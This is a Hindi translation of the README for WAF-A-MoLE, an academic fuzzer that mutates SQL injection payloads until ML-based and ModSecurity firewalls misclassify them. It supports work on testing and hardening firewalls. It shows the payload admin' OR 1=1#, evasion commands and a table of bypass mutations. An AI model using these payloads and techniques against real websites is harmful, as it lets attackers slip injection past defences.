
ML-आधारित वेब एप्लिकेशन फ़ायरवॉल के लिए एक निर्देशित परिवर्तन-आधारित फ़ज़र (fuzzer)
ML-आधारित वेब एप्लिकेशन फ़ायरवॉल के लिए एक निर्देशित उत्परिवर्तन-आधारित फ़ज़र, जो AFL से प्रेरित है और Andreas Zeller एट अल. द्वारा FuzzingBook पर आधारित है।
एक इनपुट SQL इंजेक्शन क्वेरी दिए जाने पर, यह एक सिमैंटिक इनवेरिएंट क्वेरी उत्पन्न करने का प्रयास करता है जो लक्ष्य WAF को बायपास करने में सक्षम हो। आप अपने उत्पाद की मजबूती का आकलन करने के लिए इस टूल का उपयोग कर सकते हैं, जिससे WAF-A-MoLE को समाधान स्थान का अन्वेषण करके लक्ष्य वर्गीकारक द्वारा अनावरण न किए गए खतरनाक "ब्लाइंड स्पॉट" खोजने दिया जा सके।

WAF-A-MoLE एक प्रारंभिक पेलोड लेता है और इसे पेलोड पूल में डालता है, जो प्रत्येक पेलोड पर WAF विश्वास स्कोर द्वारा क्रमित प्राथमिकता कतार का प्रबंधन करता है।
प्रत्येक पुनरावृत्ति के दौरान, पेलोड पूल का शीर्ष फ़ज़र को भेजा जाता है, जहाँ यादृच्छिक रूप से उपलब्ध उत्परिवर्तन ऑपरेटरों में से एक को लागू करके इसे उत्परिवर्तित किया जाता है।
उत्परिवर्तन ऑपरेटर सभी सिमैंटिक्स-संरक्षित हैं और वे SQL भाषा (इस संस्करण में, MySQL) की उच्च अभिव्यक्ति शक्ति का लाभ उठाते हैं।
नीचे WAF-A-MoLE के वर्तमान संस्करण में उपलब्ध उत्परिवर्तन ऑपरेटर दिए गए हैं।
WAF-A-MoLE "WAF-A-MoLE: Evading Web Application Firewalls through Adversarial Machine Learning" में प्रस्तुत पद्धति को लागू करता है। हमारे लेख की एक प्री-प्रिंट प्रति arXiv पर भी पाई जा सकती है।
यदि आप हमें उद्धृत करना चाहते हैं, तो कृपया निम्नलिखित (BibTeX) संदर्भ का उपयोग करें:
@inproceedings{demetrio20wafamole,
title={WAF-A-MoLE: evading web application firewalls through adversarial machine learning},
author={Demetrio, Luca and Valenza, Andrea and Costa, Gabriele and Lagorio, Giovanni},
booktitle={Proceedings of the 35th Annual ACM Symposium on Applied Computing},
pages={1745--1752},
year={2020}
}
pip install -r requirements.txt
आप अपने स्वयं के WAF की मजबूती का मूल्यांकन कर सकते हैं, या कुछ उदाहरण वर्गीकारकों के विरुद्ध WAF-A-MoLE का प्रयास कर सकते हैं। पहले मामले में, Model वर्ग पर एक नज़र डालें। आपके कस्टम मॉडल को WAF-A-MoLE द्वारा मूल्यांकित होने के लिए इस वर्ग को लागू करना होगा। हम पहले से ही sci-kit learn और keras वर्गीकारकों के लिए रैपर प्रदान करते हैं जिन्हें आपकी फीचर निष्कर्षण चरण (यदि कोई हो) में फिट करने के लिए बढ़ाया जा सकता है।
wafamole --help
Usage: wafamole [OPTIONS] COMMAND [ARGS]...
Options:
--help Show this message and exit.
Commands:
evade Launch WAF-A-MoLE against a target classifier.
wafamole evade --help
Usage: wafamole evade [OPTIONS] MODEL_PATH PAYLOAD
Launch WAF-A-MoLE against a target classifier.
Options:
-T, --model-type TEXT Type of classifier to load
-t, --timeout INTEGER Timeout when evading the model
-r, --max-rounds INTEGER Maximum number of fuzzing rounds
-s, --round-size INTEGER Fuzzing step size for each round (parallel fuzzing
steps)
--threshold FLOAT Classification threshold of the target WAF [0.5]
--random-engine TEXT Use random transformations instead of evolution
engine. Set the number of trials
--output-path TEXT Location were to save the results of the random
engine. NOT USED WITH REGULAR EVOLUTION ENGINE
--help Show this message and exit.
हम कुछ पूर्व-प्रशिक्षित मॉडल प्रदान करते हैं जिनके साथ आप मज़ा ले सकते हैं, जो wafamole/models/custom/example_models में स्थित हैं। हमारे द्वारा उपयोग किए गए वर्गीकारक नीचे दी गई तालिका में सूचीबद्ध हैं।
ML-आधारित WAF के अलावा, WAF-a-MoLE नियम-आधारित WAF का भी समर्थन करता है। विशेष रूप से, यह pymodsecurity प्रोजेक्ट पर आधारित OWASP Core Rule Set (CRS) से सुसज्जित ModSecurity WAF के लिए एक रैपर प्रदान करता है।
admin' OR 1=1# समतुल्य का उपयोग करके पूर्व-प्रशिक्षित WAF-Brain वर्गीकारक को बायपास करें।
wafamole evade --model-type waf-brain wafamole/models/custom/example_models/waf-brain.h5 "admin' OR 1=1#"
admin' OR 1=1# समतुल्य का उपयोग करके पूर्व-प्रशिक्षित ML-Based-WAF SVM वर्गीकारक को बायपास करें।
wafamole evade --model-type mlbasedwaf wafamole/models/custom/example_models/mlbasedwaf_svc.dump "admin' OR 1=1#"
admin' OR 1=1# समतुल्य का उपयोग करके पूर्व-प्रशिक्षित ML-Based-WAF SVM वर्गीकारक को बायपास करें। ध्यान दें कि SQLiV5 Kaggle से प्राप्त एक डेटासेट है जिसे WAF-A-MoLE द्वारा उत्पन्न क्वेरीज़ की एक श्रृंखला के साथ विस्तारित किया गया है, जो इस बात का प्रमाण है कि WAF-A-MoLE क्वेरीज़ पुनर्प्रशिक्षण के साथ WAF की मजबूती को बढ़ा सकती हैं। मूल Kaggle डेटासेट (SQLiV3) के साथ प्रशिक्षित WAF को बायपास करने के लिए mlbasedwaf_svc_sqliv3.dump का उपयोग करें।
wafamole evade --model-type mlbasedwaf wafamole/models/custom/example_models/mlbasedwaf_svc_sqliv5.dump "admin' OR 1=1#"
admin' OR 1=1# समतुल्य का उपयोग करके पूर्व-प्रशिक्षित ML-Based-WAF SGD वर्गीकारक को बायपास करें।
wafamole evade --model-type mlbasedwaf wafamole/models/custom/example_models/mlbasedwaf_sgd.dump "admin' OR 1=1#"
admin' OR 1=1# समतुल्य का उपयोग करके पूर्व-प्रशिक्षित ML-Based-WAF AdaBoost वर्गीकारक को बायपास करें (अन्य मॉडलों की तुलना में अधिक समय लगता है, लगभग 2 से 5 मिनट का रनटाइम)।
wafamole evade --model-type mlbasedwaf wafamole/models/custom/example_models/mlbasedwaf_ada.dump "admin' OR 1=1#"
admin' OR 1=1# समतुल्य का उपयोग करके पूर्व-प्रशिक्षित टोकन-आधारित सादा बेयस वर्गीकारक को बायपास करें।
wafamole evade --model-type token wafamole/models/custom/example_models/naive_bayes_trained.dump "admin' OR 1=1#"
admin' OR 1=1# समतुल्य का उपयोग करके पूर्व-प्रशिक्षित टोकन-आधारित रैंडम फ़ॉरेस्ट वर्गीकारक को बायपास करें।
wafamole evade --model-type token wafamole/models/custom/example_models/random_forest_trained.dump "admin' OR 1=1#"
admin' OR 1=1# समतुल्य का उपयोग करके पूर्व-प्रशिक्षित टोकन-आधारित रैखिक SVM वर्गीकारक को बायपास करें।
wafamole evade --model-type token wafamole/models/custom/example_models/lin_svm_trained.dump "admin' OR 1=1#"
admin' OR 1=1# समतुल्य का उपयोग करके पूर्व-प्रशिक्षित टोकन-आधारित गाऊसी SVM वर्गीकारक को बायपास करें।
wafamole evade --model-type token wafamole/models/custom/example_models/gauss_svm_trained.dump "admin' OR 1=1#"
admin' OR 1=1# समतुल्य का उपयोग करके पूर्व-प्रशिक्षित SQLiGOT वर्गीकारक को बायपास करें।
DP, UP, DU, या UU का उपयोग क्रमशः निर्देशित आनुपातिक (Directed Proportional), अनिर्देशित आनुपातिक (Undirected Proportional), निर्देशित अनुपातहीन (Directed Unproportional) और अनिर्देशित अनुपातहीन (Undirected Unproportional) के लिए करें।
wafamole evade --model-type DP wafamole/models/custom/example_models/graph_directed_proportional_sqligot "admin' OR 1=1#"
admin' OR 1=1# समतुल्य का उपयोग करके OWASP ModSecurity CRS को बायपास करें।
उपयोगकर्ता को पैरानोइया स्तर के साथ-साथ CRS नियमों का पता लगाने का पथ (जैसे, /etc/coreruleset) भी निर्दिष्ट करना होगा।
wafamole evade --model-type modsecurity_pl[1-4] /etc/coreruleset "admin' OR 1=1#"
SQLiGoT पर मूल्यांकन शुरू करने से पहले
ये वर्गीकारक दूसरों की तुलना में अधिक मजबूत हैं, क्योंकि फीचर निष्कर्षण चरण अधिक जटिल संरचना वाले वैक्टर उत्पन्न करता है, और सभी पूर्व-प्रशिक्षित वर्गीकारकों को दृढ़ता से नियमित किया गया है। कुछ प्रकारों को बायपास प्राप्त करने वाला पेलोड उत्पन्न करने में घंटों लग सकते हैं (बेंचमार्क अनुभाग देखें)।
नए ML-Based-WAF मॉडलों पर नोट
vladan-stojnic के ML-Based-WAF के थोड़े संशोधित संस्करण पर आधारित कुछ मॉडल हाल ही में जोड़े गए हैं, जो wafamole++ नामक WAF-A-MoLE के विस्तार से हैं, जो nidnogg द्वारा है। AdaBoost मॉडल का परीक्षण सामान्य से अधिक समय ले सकता है (आमतौर पर 2 से 5 मिनट)।
SQLiV5.json डेटासेट के साथ प्रशिक्षित वेरिएंट हैं, जबकि अधिकांश डिफ़ॉल्ट रूप से WAF-A-MoLE डेटासेट से मूल SQL इंजेक्शन का उपयोग करते हैं।
इनमें से कुछ मॉडलों के प्रशिक्षण रूटीन के साथ एक Google Colaboratory नोटबुक प्रदान किया गया है, जो मूल WAF-A-MoLE डेटासेट (SQLiV5 प्रारूप में संशोधित) का उपयोग करता है। जब तक वे SQLiV5.json के समान प्रारूप में हों, किसी भी डेटासेट का उपयोग किया जा सकता है।
सबसे पहले, एक कस्टम Model वर्ग बनाएं जो extract_features और classify विधियों को लागू करता है।
class YourCustomModel(Model):
def extract_features(self, value: str):
# TODO: extract features
feature_vector = your_custom_feature_function(value)
return feature_vector
def classify(self, value):
# TODO: compute confidence
confidence = your_confidence_eval(value)
return confidence
फिर, मॉडल से एक ऑब्जेक्ट बनाएं और एक engine ऑब्जेक्ट इंस्टैंशिएट करें जो आपके मॉडल वर्ग का उपयोग करता है।
model = YourCustomModel() #your init
engine = EvasionEngine(model)
result = engine.evaluate(payload, max_rounds, round_size, timeout, threshold)
हमने अपने सभी उदाहरण मॉडलों के विरुद्ध WAF-A-MoLE का मूल्यांकन किया।
नीचे दिया गया प्लॉट WAF-A-MoLE द्वारा admin' OR 1=1# पेलोड को तब तक उत्परिवर्तित करने में लगने वाले समय को दर्शाता है जब तक कि इसे प्रत्येक वर्गीकारक द्वारा सौम्य के रूप में स्वीकार नहीं किया गया।
x अक्ष पर हमारे पास समय है (सेकंड में, लॉगरिदमिक स्केल)। y अक्ष पर हमारे पास विश्वास मान है, अर्थात, एक वर्गीकारक कितना सुनिश्चित है कि दिया गया पेलोड SQL इंजेक्शन है (प्रतिशत में)।
ध्यान दें कि किसी पेलोड के SQL इंजेक्शन होने पर "50% सुनिश्चित" होना एक सिक्का उछालने के बराबर है। यह सामान्य वर्गीकरण सीमा है: यदि विश्वास कम है, तो पेलोड को सौम्य के रूप में वर्गीकृत किया जाता है।

प्रयोग DigitalOcean Standard Droplets पर किए गए।
प्रश्न, बग रिपोर्ट और पुल रिक्वेस्ट का स्वागत है।
विशेष रूप से, यदि आप इस प्रोजेक्ट का विस्तार करने में रुचि रखते हैं, तो हम निम्नलिखित योगदानों की तलाश में हैं:
| उत्परिवर्तन | उदाहरण |
|---|
| केस स्वैपिंग | admin' OR 1=1# ⇒ admin' oR 1=1# |
| व्हाइटस्पेस प्रतिस्थापन | admin' OR 1=1# ⇒ admin'\t\rOR\n1=1# |
| टिप्पणी इंजेक्शन | admin' OR 1=1# ⇒ admin'/**/OR 1=1# |
| टिप्पणी पुनर्लेखन | admin'/**/OR 1=1# ⇒ admin'/*xyz*/OR 1=1#abc |
| पूर्णांक एन्कोडिंग | admin' OR 1=1# ⇒ admin' OR 0x1=(SELECT 1)# |
| ऑपरेटर स्वैपिंग | admin' OR 1=1# ⇒ admin' OR 1 LIKE 1# |
| लॉजिकल इनवेरिएंट | admin' OR 1=1# ⇒ admin' OR 1=1 AND 0<1# |
| नंबर शफलिंग | admin' OR 1=1# ⇒ admin' OR 2=2# |
| वर्गीकारक का नाम | एल्गोरिदम |
|---|
| WafBrain | पुनरावर्ती तंत्रिका नेटवर्क |
| ML-Based-WAF | गैर-रैखिक SVM |
| ML-Based-WAF | स्टोकेस्टिक ग्रेडिएंट डिसेंट |
| ML-Based-WAF | AdaBoost |
| टोकन-आधारित | सादा बेयस |
| टोकन-आधारित | रैंडम फ़ॉरेस्ट |
| टोकन-आधारित | रैखिक SVM |
| टोकन-आधारित | गाऊसी SVM |
| SQLiGoT - Directed Proportional | गाऊसी SVM |
| SQLiGoT - Directed Unproportional | गाऊसी SVM |
| SQLiGoT - Undirected Proportional | गाऊसी SVM |
| SQLiGoT - Undirected Unproportional | गाऊसी SVM |